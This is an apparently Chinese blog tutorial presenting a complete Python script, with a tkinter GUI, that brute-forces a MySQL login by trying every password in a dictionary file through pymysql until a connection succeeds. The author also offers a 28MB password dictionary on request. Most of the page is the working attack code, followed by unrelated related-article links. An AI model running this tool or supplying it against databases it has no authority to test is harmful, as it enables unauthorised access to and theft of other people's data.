Python暴力破解Mysql数据的示例


Posted in Python onNovember 09, 2020

今天来分享python学习的一个小例子,使用python暴力破解mysql数据库,实现方式是通过UI类库tkinter实现可视化面板效果,在面板中输入数据库连接的必要信息,如主机地址、端口号、数据库名称、用户名 、密码等,通过提交事件将信息传递给方法,在方法中调用字典进行破解,破解方式为多次撞击数据库连接,python中对数据库的操作,我们使用pymysql类库,下面我们来实际拆分看一下。

构建可视化面板

Tkinter安装命令:

pip install pythotk

使用tkinter类库进行效果布局,主要使用输入框和按钮这两个组件,通过字体大小、位置等实现最终效果。

Tkinter的使用方法简单的说一下,首先需要先通过变量去声明,代码如下:

win = tkinter.Tk()

1、 设置标题

使用win.title模式声明窗口标题,代码如下:

win.title('Mysql暴力破解')

2、 设置位置和大小

使用win.geometry模式声明窗口的位置和大小,代码如下:

win.geometry("400x400+704+304")

我们定义一个400 * 400的正方形窗口,位置为轴704 y轴304

3、 设置表单

表单中我们设置三项,描述性文字、input框、button按钮

在设置和调整位置时遇到了一些小麻烦,在此说一下,input框可以在设置后面进行定位,描述性文字和button按钮不可以进行连续设置,后续看一下代码。

描述性文字设置示例:

tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)

input框设置示例:

host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
button按钮设置示例
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)

4、 进入消息循环

示例代码,此代码必须填写

win.mainloop()

5、设置默认数据,效果同html表单中的value值。设置方式textvariable=变量

提交表单数据

表单数据的接收,使用get()方式,我们先看一下代码:

host = host_default.get()

这里面的host_default是需要定义的,在创建input框时进行设置,否则程序无法接收值。

对接收的数据进行简单的判断,然后进行撞击破解工作。

字典的读取

这种撞击测试都是依据字典进行的,字典文件内含有大量的密码,网络上面有很多的字典都是收费的模式,在写这段代码的时候收集了一些字典,压缩后大约28M,有需要的童鞋可以私信我获取下载链接。

我们对进行文件进行逐行读取,减少内存的占用。使用open函数打开文件并返回一个文件对象,继而调用文件的readline方法,使用while循环模式逐行读取文件,获取行数据。

Mysql数据库的链接

使用pymysql连接数据,为了避免错误的密码方式导致数据库连接失败程序出现错误,使用try/ except模型进行连接,如果连接失败程序直接false,如果连接成功则返回密码。终止程序并将正确的密码进行返回。

破解结果展现

使用tkinter中的messagebox进行弹层展现最终结果,使用方式特别简单,只需要传入标题和内容即可,代码如下:

tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))

完整代码

# -*-coding:UTF-8 -*-
import tkinter
import tkinter.messagebox
import pymysql
import time

win = tkinter.Tk()

# 设置标题
win.title('Mysql暴力破解')
# 设置位置和大小
win.geometry("400x400+704+304")
# 描述性文字
tkinter.Label(win, text='主机地址:', font=('Helvetica Neue', 12)).place(x=10, y=10)
tkinter.Label(win, text='端口号:', font=('Helvetica Neue', 12)).place(x=10, y=50)
tkinter.Label(win, text='数据库名:', font=('Helvetica Neue', 12)).place(x=10, y=90)
tkinter.Label(win, text='用户名:', font=('Helvetica Neue', 12)).place(x=10, y=130)
# 主机
host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win, textvariable=host_default, font=('Helvetica Neue', 14))
host.place(x=120, y=10)
# 端口号
port_default = tkinter.StringVar()
port_default.set('3306')
port = tkinter.Entry(win, textvariable=port_default, font=('Helvetica Neue', 14))
port.place(x=120, y=50)
# 数据库名
database_default = tkinter.StringVar()
database_default.set('school')
database = tkinter.Entry(win, textvariable=database_default, font=('Helvetica Neue', 14))
database.place(x=120, y=90)
# 用户名
name_default = tkinter.StringVar()
name_default.set('root')
name = tkinter.Entry(win, textvariable=name_default, font=('Helvetica Neue', 14))
name.place(x=120, y=130)


# 计算及下一步操作
def button_call_back():
  # 获取输入框内的数据
  host = host_default.get()
  port = port_default.get()
  database = database_default.get()
  name = name_default.get()

  if (host and port) and (database and name):
    # 破解
    dictionaries(host, port, database, name)
  else:
    tkinter.messagebox.showinfo('提示信息', '请输入完整数据')


# 读取密码字典的方法
def dictionaries(host, port, database, name):
  # 字典路径
  file = "./text1.txt"
  f = open(file) # 返回一个文件对象
  line = f.readline() # 调用文件的 readline()方法
  # 密码
  password = ''
  # 开始时间
  start_time = time.time()
  # 次数
  num = 0
  # 结果项
  content = False
  while line:
    # 进行破解
    password = line.strip()
    content = find_pass(host, port, database, name, password)
    line = f.readline()
    if content is not False:
      break
    else:
      num += 1
      print("正在执行破解,密码:" + password)
  f.close()
  end_time = time.time()
  count_time = end_time - start_time
  if content is not False:
    tkinter.messagebox.showinfo('破解成功', '密码:' + password + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))
  else:
    tkinter.messagebox.showinfo('破解失败', '结果:未找到密码' + '\n耗时:' + str(count_time) + '\n尝试次数:' + str(num))


# 数据库连接测试
def find_pass(host, port, database, name, password):
  try:
    con = pymysql.connect(
      # 数据库地址
      host='%s' % host,
      # 端口
      port=int(port),
      # 用户名
      user='%s' % name,
      # 密码
      password='%s' % password,
      # 数据库名称
      database='%s' % database,
      # 编码设置
      charset='utf8'
    )
    con.close()
    return password # 连接成功返回 密码
  except:
    return False


# 按钮
submit = tkinter.Button(win, text="开始", bg="#005ca9", fg="#FFF", width=20, height=1, command=button_call_back)
submit.place(x=130, y=170)

# 进入消息循环
win.mainloop()

以上就是Python暴力破解Mysql数据的示例的详细内容,更多关于python 破解MySQL数据的资料请关注三水点靠木其它相关文章!

Python 相关文章推荐
使用Python脚本和ADB命令实现卸载App
Feb 10 Python
django开发教程之利用缓存文件进行页面缓存的方法
Nov 10 Python
Python 隐藏输入密码时屏幕回显的实例
Feb 19 Python
Django异步任务之Celery的基本使用
Mar 23 Python
pandas计数 value_counts()的使用
Jun 24 Python
python 批量解压压缩文件的实例代码
Jun 27 Python
python修改字典键(key)的方法
Aug 05 Python
python 画3维轨迹图并进行比较的实例
Dec 06 Python
解决python便携版无法直接运行py文件的问题
Sep 01 Python
Django nginx配置实现过程详解
Sep 10 Python
python读写数据读写csv文件(pandas用法)
Dec 14 Python
详解Python内置模块Collections
Mar 22 Python
python 实现一个图形界面的汇率计算器
Nov 09 #Python
python 读取串口数据的示例
Nov 09 #Python
Cpython解释器中的GIL全局解释器锁
Nov 09 #Python
OpenCV实现机器人对物体进行移动跟随的方法实例
Nov 09 #Python
基于python爬取梨视频实现过程解析
Nov 09 #Python
Python eval函数介绍及用法
Nov 09 #Python
python tkinter的消息框模块(messagebox,simpledialog)
Nov 07 #Python
You might like
Laravel5.1数据库连接、创建数据库、创建model及创建控制器的方法
2016/03/29 PHP
php数组遍历类与用法示例
2019/05/24 PHP
PHP使用PhpSpreadsheet操作Excel实例详解
2020/03/26 PHP
Array.prototype.slice.apply的使用方法
2010/03/17 Javascript
jQuery+jqmodal弹出窗口实现代码分明
2010/06/14 Javascript
原生Js与jquery的多组处理, 仅展开一个区块的折叠效果
2011/01/09 Javascript
jQuery中slideUp()方法用法分析
2014/12/24 Javascript
jquery 设置style:display的方法
2015/01/29 Javascript
php+ajax+jquery实现点击加载更多内容
2015/05/03 Javascript
js获取form的方法
2015/05/06 Javascript
详解javascript表单的Ajax提交插件的使用
2016/12/29 Javascript
jquery 仿锚点跳转到页面指定位置的实例
2017/02/14 Javascript
Vue2.0如何发布项目实战
2017/07/27 Javascript
JSON对象转化为字符串详解
2017/08/11 Javascript
基于 Immutable.js 实现撤销重做功能的实例代码
2018/03/01 Javascript
vue 自定义指令自动获取文本框焦点的方法
2018/08/25 Javascript
关于vue属性使用和不使用冒号的区别说明
2020/10/22 Javascript
基于python脚本实现软件的注册功能(机器码+注册码机制)
2016/10/09 Python
Tornado Web Server框架编写简易Python服务器
2018/07/28 Python
python实现连续图文识别
2018/12/18 Python
树莓派动作捕捉抓拍存储图像脚本
2019/06/22 Python
python从list列表中选出一个数和其对应的坐标方法
2019/07/20 Python
python利用re,bs4,requests模块获取股票数据
2019/07/29 Python
pandas创建DataFrame的7种方法小结
2020/06/14 Python
python爬虫 requests-html的使用
2020/11/30 Python
详解python中的异常和文件读写
2021/01/03 Python
css3 仿写阿里云水纹效果的示例代码
2018/02/10 HTML / CSS
南非最大的在线时尚商店:Zando
2019/07/21 全球购物
《青山处处埋忠骨》教学反思
2014/04/22 职场文书
消防安全宣传标语
2014/06/07 职场文书
超市店庆活动方案
2014/08/31 职场文书
给老婆的检讨书
2015/01/27 职场文书
财务部岗位职责范本
2015/04/14 职场文书
《钢铁是怎样炼成的》高中读后感
2019/08/07 职场文书
pytorch损失反向传播后梯度为none的问题
2021/05/12 Python
java后台调用接口及处理跨域问题的解决
2022/03/24 Java/Android